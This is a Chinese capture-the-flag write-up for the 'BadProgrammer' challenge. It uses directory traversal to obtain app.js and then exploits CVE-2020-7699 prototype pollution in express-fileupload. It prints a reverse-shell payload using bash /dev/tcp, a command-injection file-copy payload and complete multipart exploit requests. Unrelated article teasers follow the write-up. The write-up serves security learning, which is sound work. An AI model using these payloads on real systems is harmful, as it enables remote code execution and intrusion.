news 2026/6/23 17:23:18

攻防世界——BadProgrammer

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
攻防世界——BadProgrammer

拿到靶机首先抓包观察用的是什么服务器和框架

发现服务器是Nginx,框架是PHP的express框架

再用dirsearch扫一遍

发现扫出了/static../

意味着服务器存在配置错误,导致了目录遍历漏洞。

当服务器配置不当时,特别是处理静态文件路径时,攻击者可以利用../(上级目录)序列突破Web根目录限制,访问到服务器上的任意文件。

找到源代码(app.js)

许多Web框架(如Django、Flask、Express等)默认采用/static/作为静态文件目录,而源代码一般都为app.js/app.py

const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); }); app.get('/', (req, res) => { res.render('index.ejs'); }) app.listen(3000); app.on('listening', function() { console.log('Express server started on port %s at %s', server.address().port, server.address().address); });

代码审计

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); });

定义了一个POST路由,路径是/4_pATh_y0u_CaNN07_Gu3ss,当访问此路径时,服务器会渲染flag.ejs文件。

也许flag就在这个路径里

用POST访问/4_pATh_y0u_CaNN07_Gu3ss

看到flag在 flag.txt 中,但是无法直接访问到 flag.txt

再观察源代码

app.use(fileUpload({ parseNested: true }));

发现代码中使用了express-fileupload中间件,且启用了parseNested: true选项

也许这里存在CVE-2020-7699:NodeJS模块代码注入

但这个漏洞仅存在于express-fileupload版本低于1.1.9(不包含)

在package.json中获取版本信息

发现为1.1.7,低于1.1.9

确定存在CVE-2020-7699:NodeJS模块代码注入

CVE-2020-7699:NodeJS模块代码注入

漏洞成因:express-fileupload中间件在处理文件上传时,没有对参数名进行安全校验,特别是当启用parseNested: true选项时,允许通过特殊构造的参数名直接操作JavaScript对象的原型链。

原型链污染:攻击者可通过上传含有__proto__或constructor.prototype等特殊字段的文件,污染Object的原型,从而影响所有JavaScript对象。

反弹shell通用payload如下:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/port 0>&1"');x

ip为公网ip,port为探测端口

文件复制payload如下:

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

cpcopy命令,用于复制文件基础文件操作

/flag.txt源文件路径(根目录下的flag文件)目标flag所在位置

/app/static/js/Web应用静态文件目录可公开访问的目录

flag.txt复制后的文件名保持名称不变,避免混淆

初步探测一下,观察是否有过滤

构造报文

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;console.log('TEST');x -----------------------------1546646991721295948201928333--

成功返回,看来没有过滤

最终利用

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x -----------------------------1546646991721295948201928333--

发送该请求包后,flag.txt将被复制到static/js下,即可得到flag。

curl http://61.147.171.103:58898/static/js/flag.txt

cyberpeace{850ffa1d88ce047bcdcf34dbdbcd1e12}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/23 12:24:42

京东商品列表API,Python请求示例

一、摘要 本文档旨在介绍如何通过京东开放平台提供的API接口获取商品列表信息。通过调用该接口,开发者可以实现对京东平台上商品数据的查询与处理,适用于电商数据分析、价格监控、供应链管理等应用场景。 二、接口概述 接口名称:京东商品列表…

作者头像 李华
网站建设 2026/6/23 12:24:40

Hadess基础到实践,如何详细管理Npm制品

Hadess是一款开源免费的制品管理工具,在上一篇中已经介绍了Maven制品详细使用过程,这篇文章将介绍在Hadess中详细的使用Npm制品。1、创建Npm制品库1.1 Npm本地库打开创建本地库界面:点击新建制品库选择新建本地库添加信息点击确认即可属性说明…

作者头像 李华
网站建设 2026/6/18 23:59:32

Java 开发问题:类名与注解名冲突问题

类名与注解名冲突,必须使用全限定名区分 public class Test {org.junit.jupiter.api.Testpublic void test1_1() {} }如果强制使用导入语句,则下述代码报错public class Test { 处报错:Test is already defined in this compilation unitTest…

作者头像 李华
网站建设 2026/6/19 8:58:03

如何衡量推广效果(如投产比、转化率)?一位餐饮老板的实战自白

凌晨两点,我蹲在螺蛳粉店的台阶上,盯着手机里豆包APP的搜索结果页面。这是今天第三次确认——我的店名终于出现在“附近好吃的螺蛳粉”搜索结果的第一位。三个月前,我根本不敢想这样的场景。被算法“卡脖子”的生意 我的店开在上海&#xff0…

作者头像 李华
网站建设 2026/6/21 14:06:19

大模型安全威胁全解析,Agent架构设计避坑指南,小白必看

一、报告价值锚点 趋势与机遇 Agent-first设计:业务流程原生嵌入Agent基因,组织向“人机混编”转型。虚拟劳动力平台:中小企借标准化Agent租赁切入智能化,B2B服务蓝海开启。生态级互联互通:Agent App Store雏形浮现&…

作者头像 李华